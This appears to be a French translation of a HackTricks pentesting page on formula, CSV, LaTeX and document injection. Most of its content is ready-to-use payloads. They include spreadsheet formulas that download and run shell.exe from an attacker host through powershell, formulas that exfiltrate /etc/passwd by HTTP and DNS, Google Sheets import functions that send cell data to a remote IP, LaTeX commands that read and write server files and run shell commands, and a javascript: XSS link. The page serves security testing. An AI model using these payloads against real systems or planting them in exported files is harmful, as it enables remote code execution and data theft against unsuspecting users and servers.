hacktricks/pentesting-web/formula-doc-latex-injection.md

14 KiB
Raw Blame History

Injection de formules/CSV/Doc/LaTeX

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Injection de formules

Info

Si votre entrée est réfléchie dans des fichiers CSV (ou tout autre fichier qui sera probablement ouvert par Excel), vous pouvez peut-être mettre des formules Excel qui seront exécutées lorsque l'utilisateur ouvre le fichier ou lorsque l'utilisateur clique sur un lien dans la feuille Excel.

{% hint style="danger" %} De nos jours, Excel alertera (plusieurs fois) l'utilisateur lorsqu'un élément est chargé depuis l'extérieur d'Excel afin de l'empêcher de réaliser des actions malveillantes. Par conséquent, un effort particulier doit être appliqué à l'ingénierie sociale pour la charge utile finale. {% endhint %}

Liste de mots

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Hyperlien

L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et effectuer des demandes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).

Exemple tiré de https://payatu.com/csv-injection-basic-to-exploit

Prenons un scénario d'attaque du système de gestion des dossiers étudiants d'une école. L'application permet aux enseignants d'entrer les détails des étudiants de l'école. L'attaquant accède à l'application et veut que tous les enseignants utilisant l'application soient compromis. L'attaquant essaie donc de mener une attaque d'injection CSV via l'application web.
L'attaquant doit voler les détails d'autres étudiants. L'attaquant utilise donc la formule Hyperlien et l'entre lors de la saisie des détails de l'étudiant.

Lorsque l'enseignant exporte le CSV et clique sur le lien hypertexte, les données sensibles sont envoyées au serveur de l'attaquant.

Le fichier CSV exporté contient une charge utile malveillante.

Les détails de l'étudiant sont enregistrés sur le serveur web de l'attaquant.

RCE

Pour que cet exemple fonctionne, il est nécessaire d'activer la configuration suivante:
Fichier → Options → Centre de gestion de la confidentialité → Paramètres du Centre de gestion de la confidentialité → Contenu externe → Activer le lancement du serveur d'échange de données dynamiques
ou l'utilisation d'une ancienne version d'Excel.

La bonne nouvelle est que cette charge utile est exécutée automatiquement lorsque le fichier est ouvert (si l'utilisateur accepte les avertissements).

Il est possible d'exécuter une calculatrice avec la charge utile suivante =cmd|' /C calc'!xxx

Plus

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

LFI

LibreOffice Calc

  • Ceci lira la première ligne du fichier local /etc/passwd : ='file:///etc/passwd'#$passwd.A1
  • L'exfiltrer : =WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Exfiltrer plus d'une ligne : =WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • Exfiltration DNS : =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))

Analyse de la charge utile d'exfiltration DNS :

  • file:///etc/passwd#$passwd.A19 Lira la 19ème ligne du fichier local /etc/passwd
  • ENCODEURL(file:///etc/passwd#$passwd.A19) Encode l'URL des données retournées
  • MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41) Similaire à substring, lit les données du 1er caractère au 41ème - une façon très pratique de limiter la longueur des noms d'hôtes DNS (limite de 254 caractères pour FQDN et 63 caractères pour une étiquette, c'est-à-dire un sous-domaine)
  • SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“) Remplace toutes les instances de % (le caractère spécial de l'encodage URL) par un tiret - cela garantit que seuls des caractères DNS valides sont utilisés
  • CONCATENATE((SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) Concatène la sortie du fichier (après que le traitement ci-dessus ait eu lieu) avec le FQDN (pour lequel nous avons accès à l'hôte qui est autoritaire pour le domaine)
  • WEBSERVICE Fera une demande pour ce nom DNS inexistant que nous pouvons ensuite analyser les journaux (ou exécuter tcpdump, etc.) sur le serveur de noms autoritaire DNS pour lequel nous avons le contrôle

Google Sheets OOB Data Exfiltration

Tout d'abord, présentons certaines des fonctions les plus intéressantes.

CONCATENATE : Ajoute des chaînes les unes aux autres.

=CONCATENATE(A2:E2)

IMPORTXML: Importe des données à partir de différents types de données structurées, y compris XML, HTML, CSV, TSV et des flux XML RSS et ATOM.

=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

IMPORTFEED: Importe un flux RSS ou ATOM.

=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))

IMPORTHTML: Importe des données à partir d'un tableau ou d'une liste dans une page HTML.

=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

IMPORTRANGE: Importe une plage de cellules à partir d'une feuille de calcul spécifiée.

=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

IMAGE: Insère une image dans une cellule.

=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")

Injection LaTeX

Généralement, les serveurs que l'on trouve sur internet qui convertissent le code LaTeX en PDF utilisent pdflatex.
Ce programme utilise 3 attributs principaux pour (dés)autoriser l'exécution de commandes :

  • --no-shell-escape : Désactive la construction \write18{command}, même si elle est activée dans le fichier texmf.cnf.
  • --shell-restricted : Identique à --shell-escape, mais limité à un ensemble de **commandes prédéfinies (**Sur Ubuntu 16.04, la liste se trouve dans /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape : Active la construction \write18{command}. La commande peut être n'importe quelle commande shell. Cette construction est normalement désactivée pour des raisons de sécurité.

Cependant, il existe d'autres moyens d'exécuter des commandes, il est donc très important d'utiliser --shell-restricted pour éviter les RCE.

Lire un fichier

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Lire un fichier d'une seule ligne

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Lire un fichier à plusieurs lignes

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
    \read\file to\fileline
    \text{\fileline}
\repeat
\closein\file

Écrire un fichier

Le code LaTeX peut être utilisé pour écrire des fichiers sur le système de fichiers du serveur. Si l'application Web utilise LaTeX pour générer des documents, il est possible d'injecter du code LaTeX malveillant pour écrire des fichiers sur le système de fichiers du serveur.

Pour écrire un fichier, il suffit d'envoyer une requête POST avec le code LaTeX malveillant dans le corps de la requête. Le code LaTeX sera exécuté par l'application Web et le fichier sera écrit sur le système de fichiers du serveur.

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Exécution de commandes

L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour l'obtenir.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Si vous rencontrez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans caractères indésirables.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

De @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥